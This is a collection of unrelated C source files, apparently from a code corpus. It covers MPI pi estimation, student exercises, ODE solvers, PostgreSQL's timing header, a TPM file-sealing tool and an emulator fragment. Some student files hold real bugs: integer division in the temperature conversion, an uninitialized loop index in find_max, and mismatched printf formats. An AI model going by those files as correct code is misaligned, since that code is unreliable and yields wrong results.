display_red_bar(index, current);
display_green_bar(index, current);
}
|
C
|
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <mpi.h>
int main(int argc, char ** argv)
{
if( MPI_Init(&argc, &argv) != MPI_SUCCESS )
{
fprintf(stderr, "MPI_Init Failed!!!\n");
return -1;
}
int world_rank = -1;
long int le_one = 0;
long int g_one = 0;
long int sum_le_one = 0;
long int sum_g_one = 0;
if( MPI_Comm_rank(MPI_COMM_WORLD, &world_rank) != MPI_SUCCESS )
{
fprintf(stderr, "MPI_Comm_rank Failed!!!\n");
return -1;
}
if (argc <= 1)
{
fprintf(stderr, "wrong usage we need an integer\n%s TIMES\n", argv[0]);
return -1;
}
char *endchk = NULL;
long int times = strtol(argv[1], &endchk, 0);
/* check the end pointer to see if the argument is valid */
long int cur = 0;
int a,b;
double a_p, b_p;
long int *le_one_sums;
long int *g_one_sums;
le_one_sums = calloc(omp_get_num_threads(), sizeof(long int));
g_one_sums = calloc(omp_get_num_threads(), sizeof(long int));
fprintf(stderr, "OMP_NUM_THREADS=%d\n", omp_get_num_threads());
#pragma omp parallel for private(a,b,a_p,b_p)
for(cur = 0; cur < times ; cur++)
{
a = rand();
b = rand();
a_p = (double) a / (double) RAND_MAX;
b_p = (double) b / (double) RAND_MAX;
if( (a_p * a_p) + (b_p * b_p) <= 1.0 )
le_one_sums[omp_get_thread_num()]++;
else
g_one_sums[omp_get_thread_num()]++;
}
for(cur = 0; cur < omp_get_num_threads(); cur++)
{
le_one += le_one_sums[cur];
g_one += g_one_sums[cur];
}
if( MPI_Reduce(&g_one, &sum_g_one, 1, MPI_LONG, MPI_SUM, 0, MPI_COMM_WORLD) != MPI_SUCCESS )
{
fprintf(stderr, "MPI_Reduce Failed!!!\n");
return -1;
}
if( MPI_Reduce(&le_one, &sum_le_one, 1, MPI_LONG, MPI_SUM, 0, MPI_COMM_WORLD) != MPI_SUCCESS )
{
fprintf(stderr, "MPI_Reduce Failed!!!\n");
return -1;
}
printf("(%d) g_one - %d\n", world_rank, g_one);
printf("(%d) le_one - %d\n", world_rank, le_one);
if( world_rank == 0 )
{
printf("(%d) sum_le_one - %d\n", world_rank, sum_le_one);
printf("(%d) sum_g_one - %d\n", world_rank, sum_g_one);
printf("(%d) PI - %lf\n", (double)sum_le_one*4.0/((double)sum_g_one + (double)sum_le_one));
}
if( MPI_Finalize() != MPI_SUCCESS )
{
fprintf(stderr, "MPI_Finalize Failed!!!\n");
return -1;
}
return 0;
}
|
C
|
#include "header.h"
//================================================
// Name: checkGreater
// Input: int
// Output: int
// Author: Ganesh Narayan Jaiwal
// Date: 3 Aug 2020
// Description: Check if entered number is greater that 100
//================================================
BOOL checkGreater(int no)
{
if (no > 100)
{
return TRUE;
}
else
{
return FALSE;
}
}
|
C
|
/*
* time_utils.h: Convert XTime to us or s; get elapsed runtime in us or s
* Author: Stephanie Kunkel
*/
#ifndef TIME_UTILS_H_
#define TIME_UTILS_H_
//Includes
#include "xtime_l.h"
//Defines
#define COUNTS_PER_USECOND (COUNTS_PER_SECOND / 1000000U)
//Functions
unsigned long getElapsedRuntimeS();
unsigned long getElapsedRuntimeUS();
unsigned long xtimeToSec(XTime counts);
unsigned long xtimeToUSec(XTime counts);
#endif /* TIME_UTILS_H_ */
|
C
|
/*This program is for converting temperature from Fahrenheit to Celsius and visa-versa.
- Sakshi Shrivastava v1.0*/
#include<stdio.h>
void main()
{
system("clear");
//Declaration of variables
float F, C;
//Asking for user's input i Fahrenheit
printf("Enter temperature in Fahrenheit: ");
scanf("%f",&F);
//Converting Fahrenheit to Celsius
C = (5/9)*(F-32);
printf("\nConversion from Fahrenheit to Celsius is %f\n",C);
//Asking for user's input in Celsius
printf("Enter temperature in Celsius: ");
scanf("%f",&C);
//Converting Celsius to Fahrenheit
F = ((9/5)*C)+32;
printf("\nConversion from Celsius to Fahrenheit is %f\n",F);
}
|
C
|
// C program to count frequency of digits in an integer
#include<stdio.h>
void main(void){
int number ;
char f0 = 0 , f1 = 0 , f2 = 0 , f3 = 0 , f4 = 0 , f5 = 0 , f6 = 0 ,f7 = 0 ,f8 = 0 ,f9 = 0 ;
printf("Input num: ");
scanf("%d" , &number );
while(number != 0 ){
switch(number % 10){
case 0 :
f0++ ;
break ;
case 1 :
f1++ ;
break ;
case 2 :
f2++ ;
break ;
case 3 :
f3++ ;
break ;
case 4 :
f4++ ;
break ;
case 5 :
f5++ ;
break ;
case 6 :
f6++ ;
break ;
case 7 :
f7++ ;
break ;
case 8 :
f8++ ;
break ;
case 9 :
f9++ ;
break ;
}
number/=10;
}
printf("Frequency of 0 = %d\nFrequency of 1 = %d\nFrequency of 2 = %d\nFrequency of 3 = %d\nFrequency of 4 = %d\nFrequency of 5 = %d\nFrequency of 6 = %d\nFrequency of 7 = %d\nFrequency of 8 = %d\nFrequency of 9 = %d\n",f0,f1,f2,f3,f4,f5,f6,f7,f8,f9 );
}
|
C
|
/************************************************************************/
/* Program: assignment.c */
/* Author: Aleksandr Epp <aleksandr.epp@gmail.com> */
/* Matriclenumber: 6002853 */
/* Assignment : 3 */
/* Parameters: -h, -t, -m, -v, -s, -e see help (-h) for details */
/* Environment variables: no */
/* */
/* Description: */
/* */
/* This is the main program of Assignment 3. From here individual tasks */
/* can be started. Or view the help. */
/* */
/************************************************************************/
#include <stdio.h> // import of the definitions of the C IO library
#include <stdlib.h> // to use exit() function
#include <string.h> // import of the definitions of the string operations
#include <unistd.h> // standard unix io library definitions and declarations
#include <errno.h> // system error numbers
#include <inttypes.h> // for strtoumax() string to int conversion
#include "help.h" // to show help with -h parameter
#include "task1.h" // to run Task 1
#include "task2.h" // to run Task 2
#include <linux/limits.h> // for PATH_MAX
// constants & default values
#define ASSIGNMENT_NR 3
#define EPSILON 0.000001 // default epsilon value for Jacobi method
#define MATRIX ((unsigned char *)"./examples/Matrix_A_8x8") // default matrix A path
#define VECTOR_B ((unsigned char *)"./examples/Vector_b_8x") // default vector b path
#define VECTOR_B_SIZE 8 // default vector b size
int main(int argc, char* argv[])
{
int opt = 0, // command line parameter name
vectorBSize = VECTOR_B_SIZE; // size of vector b
double epsilon = EPSILON; // epsilon value for Jacobi method
char *taskName = NULL, // task nr. given by cli parameter
*matrixAFilePath = MATRIX, // path to the file containing matrix A
*vectorBFilePath = VECTOR_B; // path to the file containing vector b
// memset(matrixAFilePath, 0, PATH_MAX);
// memset(vectorBFilePath, 0, PATH_MAX);
//
// strcpy(matrixAFilePath, "./examples/Matrix_A_8x8");
// strcpy(vectorBFilePath, "./examples/Vector_b_8x");
// iterate through all cli parameters
while ((opt = getopt(argc, argv, "t:e:m:v:s:h")) != -1) {
switch(opt) {
case 'h': // if -h parameter given => show help
showHelp(ASSIGNMENT_NR, EPSILON, argc, argv);
exit(0);
case 't': // if -t parameter given => save task nr. to decide which task to execute
taskName = optarg;
break;
case 'm': // if -m parameter given => set path to matrix file
matrixAFilePath = optarg;
// strcpy(matrixAFilePath, optarg);
break;
case 'v': // if -v parameter given => set path to vector b file
vectorBFilePath = optarg;
// strcpy(vectorBFilePath, optarg);
break;
case 's': // if -s parameter given => set the size of vector b
vectorBSize = strtoumax(optarg, NULL, 10);
break;
case 'e': // if -e parameter given => set epsilon
sscanf(optarg, "%lf", &epsilon);
break;
default: // if any other cli parameters provided
// exit program with error status
exit(1);
}
}
// decide which task to run based on -t parameter
if(taskName == NULL){ // if no parameter provided - just show help
showHelp(ASSIGNMENT_NR, EPSILON, argc, argv);
exit(0);
} else if(!strcmp(taskName, "1")) {
task1(argc, argv, epsilon, matrixAFilePath, vectorBFilePath, vectorBSize);
} else if(!strcmp(taskName, "2")) {
task2(argc, argv, epsilon, matrixAFilePath, vectorBFilePath, vectorBSize);
} else { // if invalid task number provided
printf("Task %s doesn't exist. See help (-h) for available tasks.\n", taskName);
}
// end of program with exit code 0
return 0;
}
|
C
|
#include<stdio.h>
void main()
{
float a;
int k;
printf("Nhap 1 so bat ki:");
scanf("%f",&a);
k=(int)a;
if(a-k!=0.5) printf("KHONG PHAI SO BAN NGUYEN");
else printf("SO BAN NGUYEN");
}
|
C
|
#include<stdio.h>
float find_max(float *arr, int n)
{
if (arr == NULL)
return 0;
float max = 0.0;
float temp = arr[0];
int i;
for (i = i; i < n; ++i)
{
if (temp > max)
max = temp;
if (arr[i] > 0)
{
if (temp <= 0)
temp = arr[i];
else
temp *= arr[i];
}
else
temp = 0.0;
}
return max;
}
int main(void)
{
float arr[7] = {-2.5, 4, 0, 3, 0.5, 8, -1};
printf("%f \n", find_max(arr, 7));
return 0;
}
|
C
|
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
double func(double y){
return (1-y)*y;
}
double euler(double n, double h, double t_init, double y_init){
int i;
double y0, y1 = y_init, t0, t1 = t_init;
for(i=0; i<n; i++){
t0 = t1;
y0 = y1;
t1 = t0 + h;
y1 = y0 + h * func(y0);
}
return y1;
}
double huen(double n, double h, double t_init, double y_init){
int i;
double s;
double y0, y1 = y_init, t0, t1 = t_init;
for(i=0; i<n; i++){
t0 = t1;
y0 = y1;
t1 = t0 + h;
s = y0 + h * func(y0);
y1 = y0 + (h/2) * (func(y0) + func(s));
}
return y1;
}
double runge_kutta(double n, double h, double t_init, double y_init){
int i;
double s1, s2, s3, s4;
double y0, y1 = y_init, t0, t1 = t_init;
for(i=0; i<n; i++){
t0 = t1;
y0 = y1;
t1 = t0 + h;
s1 = h * func(y0);
s2 = h * func(y0 + 0.5*s1);
s3 = h * func(y0 + 0.5*s2);
s4 = h * func(y0 + s3);
y1 = y0 + (s1 + 2*s2 + 2*s3 + s4)/6;
}
return y1;
}
double adams(double n, double h, double t_init, double y_init){
int i;
double s1, s2, s3, s4;
double y0, y1, y2, t0, t1 = t_init;
y1 = y_init;
y2 = y_init + h * func(y_init); // 初期値は1つeuler methodで求める
for(i=1; i<n; i++){
t0 = t1;
y0 = y1;
y1 = y2;
t1 = t0 + h;
y2 = y1 + h / 2 * (3 * func(y1) - func(y0) );
}
return y2;
}
int main(void){
double h; // 幅
printf("Please input a h value (0.1 or 0.01).\nh > ");
scanf("%lf",&h);
double t_start = 0, t_end = 2;
double n = (t_end - t_start) / h; // 区間を幅で割るとn
double y_init = 0.1; // 初期値
printf("オイラー法による解: %f\n", euler(n, h, t_start, y_init));
printf("ホイン法による解: %f\n", huen(n, h, t_start, y_init));
printf("ルンゲクッタ法による解: %f\n", runge_kutta(n, h, t_start, y_init));
printf("アダムスバッシュフォース法による解: %f\n", adams(n, h, t_start, y_init));
}
|
C
|
// Program to explain working of continue statement
#include <stdio.h>
#include <conio.h>
int main()
{
// clrscr();
int n;
printf("Enter a number: ");
scanf("%d", &n);
for(int i=1; i<= n; i++)
{
printf("\nStart of loop\n");
printf("%d\n", i);
if( i % 3 == 0)
{
continue; // If the loop condition is true, then continue statement is run, which skips further statements in the loop
}
printf("End of loop\n");
}
getch();
return 0;
}
|
C
|
/*-------------------------------------------------------------------------
*
* instr_time.h
* portable high-precision interval timing
*
* This file provides an abstraction layer to hide portability issues in
* interval timing. On Unix we use clock_gettime() if available, else
* gettimeofday(). On Windows, gettimeofday() gives a low-precision result
* so we must use QueryPerformanceCounter() instead. These macros also give
* some breathing room to use other high-precision-timing APIs.
*
* The basic data type is instr_time, which all callers should treat as an
* opaque typedef. instr_time can store either an absolute time (of
* unspecified reference time) or an interval. The operations provided
* for it are:
*
* INSTR_TIME_IS_ZERO(t) is t equal to zero?
*
* INSTR_TIME_SET_ZERO(t) set t to zero (memset is acceptable too)
*
* INSTR_TIME_SET_CURRENT(t) set t to current time
*
* INSTR_TIME_SET_CURRENT_LAZY(t) set t to current time if t is zero,
* evaluates to whether t changed
*
* INSTR_TIME_ADD(x, y) x += y
*
* INSTR_TIME_SUBTRACT(x, y) x -= y
*
* INSTR_TIME_ACCUM_DIFF(x, y, z) x += (y - z)
*
* INSTR_TIME_GET_DOUBLE(t) convert t to double (in seconds)
*
* INSTR_TIME_GET_MILLISEC(t) convert t to double (in milliseconds)
*
* INSTR_TIME_GET_MICROSEC(t) convert t to uint64 (in microseconds)
*
* Note that INSTR_TIME_SUBTRACT and INSTR_TIME_ACCUM_DIFF convert
* absolute times to intervals. The INSTR_TIME_GET_xxx operations are
* only useful on intervals.
*
* When summing multiple measurements, it's recommended to leave the
* running sum in instr_time form (ie, use INSTR_TIME_ADD or
* INSTR_TIME_ACCUM_DIFF) and convert to a result format only at the end.
*
* Beware of multiple evaluations of the macro arguments.
*
*
* Copyright (c) 2001-2019, PostgreSQL Global Development Group
*
* src/include/portability/instr_time.h
*
*-------------------------------------------------------------------------
*/
#ifndef INSTR_TIME_H
#define INSTR_TIME_H
#ifndef WIN32
#ifdef HAVE_CLOCK_GETTIME
/* Use clock_gettime() */
#include <time.h>
/*
* The best clockid to use according to the POSIX spec is CLOCK_MONOTONIC,
* since that will give reliable interval timing even in the face of changes
* to the system clock. However, POSIX doesn't require implementations to
* provide anything except CLOCK_REALTIME, so fall back to that if we don't
* find CLOCK_MONOTONIC.
*
* Also, some implementations have nonstandard clockids with better properties
* than CLOCK_MONOTONIC. In particular, as of macOS 10.12, Apple provides
* CLOCK_MONOTONIC_RAW which is both faster to read and higher resolution than
* their version of CLOCK_MONOTONIC.
*/
#if defined(__darwin__) && defined(CLOCK_MONOTONIC_RAW)
#define PG_INSTR_CLOCK CLOCK_MONOTONIC_RAW
#elif defined(CLOCK_MONOTONIC)
#define PG_INSTR_CLOCK CLOCK_MONOTONIC
#else
#define PG_INSTR_CLOCK CLOCK_REALTIME
#endif
typedef struct timespec instr_time;
#define INSTR_TIME_IS_ZERO(t) ((t).tv_nsec == 0 && (t).tv_sec == 0)
#define INSTR_TIME_SET_ZERO(t) ((t).tv_sec = 0, (t).tv_nsec = 0)
#define INSTR_TIME_SET_CURRENT(t) ((void) clock_gettime(PG_INSTR_CLOCK, &(t)))
#define INSTR_TIME_ASSIGN(x,y) ((x).tv_sec = (y).tv_sec, (x).tv_nsec = (y).tv_nsec)
#define INSTR_TIME_ADD(x,y) \
do { \
(x).tv_sec += (y).tv_sec; \
(x).tv_nsec += (y).tv_nsec; \
/* Normalize */ \
while ((x).tv_nsec >= 1000000000) \
{ \
(x).tv_nsec -= 1000000000; \
(x).tv_sec++; \
} \
} while (0)
#define INSTR_TIME_SUBTRACT(x,y) \
do { \
(x).tv_sec -= (y).tv_sec; \
(x).tv_nsec -= (y).tv_nsec; \
/* Normalize */ \
while ((x).tv_nsec < 0) \
{ \
(x).tv_nsec += 1000000000; \
(x).tv_sec--; \
} \
} while (0)
#define INSTR_TIME_ACCUM_DIFF(x,y,z) \
do { \
(x).tv_sec += (y).tv_sec - (z).tv_sec; \
(x).tv_nsec += (y).tv_nsec - (z).tv_nsec; \
/* Normalize after each add to avoid overflow/underflow of tv_nsec */ \
while ((x).tv_nsec < 0) \
{ \
(x).tv_nsec += 1000000000; \
(x).tv_sec--; \
} \
while ((x).tv_nsec >= 1000000000) \
{ \
(x).tv_nsec -= 1000000000; \
(x).tv_sec++; \
} \
} while (0)
#define INSTR_TIME_GET_DOUBLE(t) \
(((double) (t).tv_sec) + ((double) (t).tv_nsec) / 1000000000.0)
#define INSTR_TIME_GET_MILLISEC(t) \
(((double) (t).tv_sec * 1000.0) + ((double) (t).tv_nsec) / 1000000.0)
#define INSTR_TIME_GET_MICROSEC(t) \
(((uint64) (t).tv_sec * (uint64) 1000000) + (uint64) ((t).tv_nsec / 1000))
#else /* !HAVE_CLOCK_GETTIME */
/* Use gettimeofday() */
#include <sys/time.h>
typedef struct timeval instr_time;
#define INSTR_TIME_IS_ZERO(t) ((t).tv_usec == 0 && (t).tv_sec == 0)
#define INSTR_TIME_SET_ZERO(t) ((t).tv_sec = 0, (t).tv_usec = 0)
#define INSTR_TIME_SET_CURRENT(t) gettimeofday(&(t), NULL)
#define INSTR_TIME_ASSIGN(x,y) ((x).tv_sec = (y).tv_sec, (x).tv_usec = (y).tv_usec)
#define INSTR_TIME_ADD(x,y) \
do { \
(x).tv_sec += (y).tv_sec; \
(x).tv_usec += (y).tv_usec; \
/* Normalize */ \
while ((x).tv_usec >= 1000000) \
{ \
(x).tv_usec -= 1000000; \
(x).tv_sec++; \
} \
} while (0)
#define INSTR_TIME_SUBTRACT(x,y) \
do { \
(x).tv_sec -= (y).tv_sec; \
(x).tv_usec -= (y).tv_usec; \
/* Normalize */ \
while ((x).tv_usec < 0) \
{ \
(x).tv_usec += 1000000; \
(x).tv_sec--; \
} \
} while (0)
#define INSTR_TIME_ACCUM_DIFF(x,y,z) \
do { \
(x).tv_sec += (y).tv_sec - (z).tv_sec; \
(x).tv_usec += (y).tv_usec - (z).tv_usec; \
/* Normalize after each add to avoid overflow/underflow of tv_usec */ \
while ((x).tv_usec < 0) \
{ \
(x).tv_usec += 1000000; \
(x).tv_sec--; \
} \
while ((x).tv_usec >= 1000000) \
{ \
(x).tv_usec -= 1000000; \
(x).tv_sec++; \
} \
} while (0)
#define INSTR_TIME_GET_DOUBLE(t) \
(((double) (t).tv_sec) + ((double) (t).tv_usec) / 1000000.0)
#define INSTR_TIME_GET_MILLISEC(t) \
(((double) (t).tv_sec * 1000.0) + ((double) (t).tv_usec) / 1000.0)
#define INSTR_TIME_GET_MICROSEC(t) \
(((uint64) (t).tv_sec * (uint64) 1000000) + (uint64) (t).tv_usec)
#endif /* HAVE_CLOCK_GETTIME */
#else /* WIN32 */
/* Use QueryPerformanceCounter() */
typedef LARGE_INTEGER instr_time;
#define INSTR_TIME_IS_ZERO(t) ((t).QuadPart == 0)
#define INSTR_TIME_SET_ZERO(t) ((t).QuadPart = 0)
#define INSTR_TIME_SET_CURRENT(t) QueryPerformanceCounter(&(t))
#define INSTR_TIME_ASSIGN(x,y) ((x).QuadPart = (y).QuadPart)
#define INSTR_TIME_ADD(x,y) \
((x).QuadPart += (y).QuadPart)
#define INSTR_TIME_SUBTRACT(x,y) \
((x).QuadPart -= (y).QuadPart)
#define INSTR_TIME_ACCUM_DIFF(x,y,z) \
((x).QuadPart += (y).QuadPart - (z).QuadPart)
#define INSTR_TIME_GET_DOUBLE(t) \
(((double) (t).QuadPart) / GetTimerFrequency())
#define INSTR_TIME_GET_MILLISEC(t) \
(((double) (t).QuadPart * 1000.0) / GetTimerFrequency())
#define INSTR_TIME_GET_MICROSEC(t) \
((uint64) (((double) (t).QuadPart * 1000000.0) / GetTimerFrequency()))
static inline double
GetTimerFrequency(void)
{
LARGE_INTEGER f;
QueryPerformanceFrequency(&f);
return (double) f.QuadPart;
}
#endif /* WIN32 */
/* same macro on all platforms */
#define INSTR_TIME_SET_CURRENT_LAZY(t) \
(INSTR_TIME_IS_ZERO(t) ? INSTR_TIME_SET_CURRENT(t), true : false)
#endif /* INSTR_TIME_H */
|
C
|
#ifndef MATH_H_INCLUDED
#define MATH_H_INCLUDED
#define PI 3.141
#define _Abs(value) ( (value) >= 0 ? (value) : -(value) )
#define _Round(value) ( (value) % 1 > 0.5 ? ((int) (value) + 0.5) : ((int) (value)) )
#define _Sign(value) ( (value) >= 0 ? 1 : (-1) )
#define _Cube(value) ( (value) * (value) * (value) )
#define _InchesToTicks(inches, diam) ( ((inches) / (PI * (diam))) * 360 )
#define _TicksToInches(ticks, diam) ( ((diam) * PI) * ((ticks) / 360) )
#endif
|
C
|
#include "printn.h"
void printn(int val, int base, int n_digits)
{
char str[32];
char digit;
char offset;
int i;
for (i = 0; i < 32; i++) str[i] = '0';
if (val < 0) putchar('-');
for (i = 0; val; i++) {
digit = abs(val % base);
if (digit <= 9) offset = '0';
else offset = ('A' - 10);
str[i] = digit + offset;
val /= base;
}
if (n_digits == 0 && i == 0) putchar('0');
if (n_digits > 0) {
i = (n_digits < i) ? i : n_digits;
}
for (i--; i >= 0; i--) {
putchar(str[i]);
}
}
|
C
|
#include "proc.c"
Proc *get_proc(Proc **list); // return a proc from a list
int put_proc(Proc **list, Proc *p); // place a proc into a list
int enqueue(Proc **queue, Proc *p); // enter a proc into the queue by priority
Proc* dequeue(Proc **queue); // return the next proc to run in the queue
int printList(Proc *list); // print a list or queue of procs
|
C
|
/**
* @file seal_file.c
* @author WangFengwei Email: 110.visual@gmail.com
* @brief seal a file
* @created 2011-06-19
* @modified
*/
#include "common.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <openssl/evp.h>
#include <openssl/aes.h>
/**
* Create an 256 bit key and IV using the supplied key_data. salt can be added for taste.
* Fills in the encryption and decryption ctx objects and returns 0 on success
**/
int aes_init(unsigned char *key_data, int key_data_len, unsigned char *salt, EVP_CIPHER_CTX *e_ctx)
{
int i, nrounds = 5;
unsigned char key[32], iv[32];
/*
* Gen key & IV for AES 256 CBC mode. A SHA1 digest is used to hash the supplied key material.
* nrounds is the number of times the we hash the material. More rounds are more secure but
* slower.
*/
i = EVP_BytesToKey(EVP_aes_256_cbc(), EVP_sha1(), salt, key_data, key_data_len, nrounds, key, iv);
if (i != 32) {
printf("Key size is %d bits - should be 256 bits\n", i);
return -1;
}
EVP_CIPHER_CTX_init(e_ctx);
EVP_EncryptInit_ex(e_ctx, EVP_aes_256_cbc(), NULL, key, iv);
return 0;
}
/*
* Encrypt *len bytes of data
* All data going in & out is considered binary (unsigned char[])
*/
unsigned char *aes_encrypt(EVP_CIPHER_CTX *e, unsigned char *plaintext, int *len)
{
/* max ciphertext len for a n bytes of plaintext is n + AES_BLOCK_SIZE -1 bytes */
int c_len = *len + AES_BLOCK_SIZE, f_len = 0;
unsigned char *ciphertext = malloc(c_len);
/* allows reusing of 'e' for multiple encryption cycles */
EVP_EncryptInit_ex(e, NULL, NULL, NULL, NULL);
/* update ciphertext, c_len is filled with the length of ciphertext generated,
*len is the size of plaintext in bytes */
EVP_EncryptUpdate(e, ciphertext, &c_len, plaintext, *len);
/* update ciphertext with the final remaining bytes */
EVP_EncryptFinal_ex(e, ciphertext+c_len, &f_len);
*len = c_len + f_len;
return ciphertext;
}
void
usage(char *pch_name)
{
printf("Usage: %s source destination\n", pch_name);
printf("eg: %s plaintext_file cipertext_file\n", pch_name);
}
int
main(int argc, char **argv)
{
#define BUF_LEN (1024*1024)
#define KEY_SIZE 64
TSS_RESULT result;
TSS_HCONTEXT hContext;
TSS_HKEY hSRK, hKey;
TSS_HPOLICY hPolicy;
TSS_HTPM hTPM;
TSS_HENCDATA hEncData;
TSS_HPCRS hPcrs;
UINT32 u32PcrValLen, u32EncDataLen;
BYTE *rgbPcrVal, *rgbEncData;
BYTE *random;
FILE *fpIn = NULL, *fpOut = NULL;
int len, size;
char *pBufIn = NULL, *pBufOut = NULL;
unsigned int salt[] = {12345, 54321};
EVP_CIPHER_CTX en;
TSS_UUID UUID_K1 = {0, 0, 0, 0, 0, {8, 0, 0, 0, 0, 1}} ;
if (argc < 3) {
usage(argv[0]);
return 0;
}
result = Tspi_Context_Create(&hContext);
if (TSS_SUCCESS != result) {
print_error("Tspi_Context_Create", result);
Tspi_Context_Close(hContext);
return result;
}
result = Tspi_Context_Connect(hContext, get_server(GLOBALSERVER));
if (TSS_SUCCESS != result) {
print_error("Tspi_Context_Connect", result);
Tspi_Context_Close(hContext);
return result;
}
result = Tspi_Context_GetTpmObject(hContext, &hTPM);
if (TSS_SUCCESS != result) {
print_error("Tspi_Context_GetTpmObject", result);
Tspi_Context_Close(hContext);
return result;
}
result = Tspi_Context_LoadKeyByUUID(hContext,
TSS_PS_TYPE_SYSTEM,
SRK_UUID,
&hSRK);
if (TSS_SUCCESS != result) {
print_error("Tspi_Context_LoadKeyByUUID", result);
Tspi_Context_Close(hContext);
return result;
}
#ifndef TESTSUITE_NOAUTH_SRK
result = Tspi_GetPolicyObject(hSRK, TSS_POLICY_USAGE, &hPolicy);
if (TSS_SUCCESS != result) {
print_error("Tspi_GetPolicyObject", result);
Tspi_Context_Close(hContext);
return result;
}
result = Tspi_Policy_SetSecret(hPolicy,
TESTSUITE_SRK_SECRET_MODE,
TESTSUITE_SRK_SECRET_LEN,
TESTSUITE_SRK_SECRET);
if (TSS_SUCCESS != result) {
print_error("Tspi_Policy_SetSecret", result);
Tspi_Context_Close(hContext);
return result;
}
#endif // #ifndef TESTSUITE_NOAUTH_SRK
result = Tspi_Context_CreateObject(hContext,
TSS_OBJECT_TYPE_PCRS,
0,
&hPcrs);
if (TSS_SUCCESS != result) {
print_error("Tspi_Context_CreateObject", result);
Tspi_Context_Close(hContext);
return result;
}
result = Tspi_Context_CreateObject(hContext,
TSS_OBJECT_TYPE_ENCDATA,
TSS_ENCDATA_SEAL,
&hEncData);
if (TSS_SUCCESS != result) {
print_error("Tspi_Context_CreateObject", result);
Tspi_Context_Close(hContext);
return result;
}
result = set_secret(hContext, hEncData, &hPolicy);
if (TSS_SUCCESS != result) {
print_error("set_secret", result);
Tspi_Context_Close(hContext);
return result;
}
result = Tspi_Context_LoadKeyByUUID(hContext,
TSS_PS_TYPE_SYSTEM,
UUID_K1,
&hKey);
if (TSS_SUCCESS != result) {
print_error("Tspi_Context_LoadKeyByUUID", result);
Tspi_Context_Close(hContext);
return -1;
}
result = set_popup_secret(hContext,
hKey,
TSS_POLICY_USAGE,
"Input K1's Pin\n",
0);
if (TSS_SUCCESS != result) {
print_error("set_popup_secret", result);
Tspi_Context_Close(hContext);
return result;
}
/*result = Tspi_GetPolicyObject(hKey, TSS_POLICY_USAGE, &hPolicy);
if (TSS_SUCCESS != result) {
print_error("Tspi_GetPolicyObject", result);
Tspi_Context_Close(hContext);
return result;
}
result = Tspi_Policy_SetSecret(hPolicy,
TESTSUITE_KEY_SECRET_MODE,
TESTSUITE_KEY_SECRET_LEN,
TESTSUITE_KEY_SECRET);
if (TSS_SUCCESS != result) {
print_error("Tspi_Policy_SetSecret", result);
Tspi_Context_Close(hContext);
return result;
}*/
result = Tspi_TPM_GetRandom(hTPM, KEY_SIZE, &random);
if (TSS_SUCCESS != result) {
print_error("Tspi_TPM_GetRandom", result);
Tspi_Context_Close(hContext);
return result;
}
result = Tspi_TPM_PcrRead(hTPM, 15, &u32PcrValLen, &rgbPcrVal);
if (TSS_SUCCESS != result) {
print_error("Tspi_TPM_PcrRead", result);
Tspi_Context_Close(hContext);
return result;
}
result = Tspi_PcrComposite_SetPcrValue(hPcrs, 15, u32PcrValLen, rgbPcrVal);
if (TSS_SUCCESS != result) {
print_error("Tspi_PcrComposite_SetPcrValue", result);
Tspi_Context_Close(hContext);
return result;
}
result = Tspi_Data_Seal(hEncData,
hKey,
KEY_SIZE,
random,
hPcrs);
if (TSS_SUCCESS != result) {
print_error("Tspi_Data_Seal", result);
Tspi_Context_Close(hContext);
return result;
}
result = Tspi_GetAttribData(hEncData,
TSS_TSPATTRIB_ENCDATA_BLOB,
TSS_TSPATTRIB_ENCDATABLOB_BLOB,
&u32EncDataLen,
&rgbEncData);
if (TSS_SUCCESS != result) {
print_error("Tspi_GetAttribData", result);
Tspi_Context_Close(hContext);
return result;
}
fpIn = fopen(argv[1], "rb");
if (!fpIn) {
printf("open file: %s failed\n", argv[1]);
Tspi_Context_Close(hContext);
return result;
}
fseek(fpIn, 0, SEEK_END);
size = ftell(fpIn);
if (size > BUF_LEN) {
printf("file is more than 1MB, too big !\n");
Tspi_Context_Close(hContext);
fclose(fpIn);
return -1;
}
pBufIn = malloc(size);
if (!pBufIn) {
printf("No Memmory\n");
Tspi_Context_Close(hContext);
}
fseek(fpIn, 0, SEEK_SET);
len = fread(pBufIn, 1, size, fpIn);
if (len != size) {
printf("fread error");
Tspi_Context_Close(hContext);
fclose(fpIn);
return -1;
}
fclose(fpIn);
if (aes_init(random, KEY_SIZE, (unsigned char *)&salt, &en)) {
printf("aes_init failed\n");
Tspi_Context_Close(hContext);
free(pBufIn);
return -1;
}
pBufOut = aes_encrypt(&en, pBufIn, &size);
fpOut = fopen(argv[2], "wb");
if (!fpOut) {
printf("open file: %s failed\n", argv[2]);
Tspi_Context_Close(hContext);
free(pBufIn);
free(pBufOut);
return -1;
}
len = fwrite(&u32EncDataLen, 1, sizeof(UINT32), fpOut);
if (sizeof(UINT32) != len) {
printf("fwrite u32EncDataLen failed\n");
Tspi_Context_Close(hContext);
free(pBufIn);
free(pBufOut);
fclose(fpOut);
return -1;
}
len = fwrite(rgbEncData, 1, u32EncDataLen, fpOut);
if (len != u32EncDataLen) {
printf("fwrite rgbEncData failed\n");
Tspi_Context_Close(hContext);
free(pBufIn);
free(pBufOut);
fclose(fpOut);
return -1;
}
len = fwrite(&size, 1, sizeof(int), fpOut);
if (len != sizeof(int)) {
printf("fwrite failed\n");
Tspi_Context_Close(hContext);
free(pBufIn);
free(pBufOut);
fclose(fpOut);
return -1;
}
len = fwrite(pBufOut, 1, size, fpOut);
if (len != size) {
printf("fwrite failed\n");
Tspi_Context_Close(hContext);
free(pBufIn);
free(pBufOut);
fclose(fpOut);
return -1;
}
fclose(fpOut);
free(pBufIn);
free(pBufOut);
Tspi_Context_Close(hContext);
return 0;
}
|
C
|
/*
Agat Emulator version 1.19
Copyright (c) NOP, nnop@newmail.ru
*/
#include "sysconf.h"
#include "runstate.h"
#include <windows.h>
#include <tchar.h>
struct RS_DATA
{
LPCTSTR name;
struct SYS_RUN_STATE*st;
unsigned flags;
};
static int n_runs;
static struct RS_DATA*runs;
int init_run_states()
{
n_runs = 0;
runs = NULL;
return 0;
}
void free_run_states()
{
int i;
for (i = 0; i < n_runs; ++ i) {
if (runs[i].name) free((void*)runs[i].name);
}
if (runs) free(runs);
}
int find_run_by_name(LPCTSTR name)
{
int i;
// printf("find_run by name: %s\n", name);
for (i = 0; i < n_runs; ++ i) {
if (runs[i].name && !lstrcmpi(name, runs[i].name)) return i;
}
return -1;
}
int find_run_by_ptr(struct SYS_RUN_STATE*st)
{
int i;
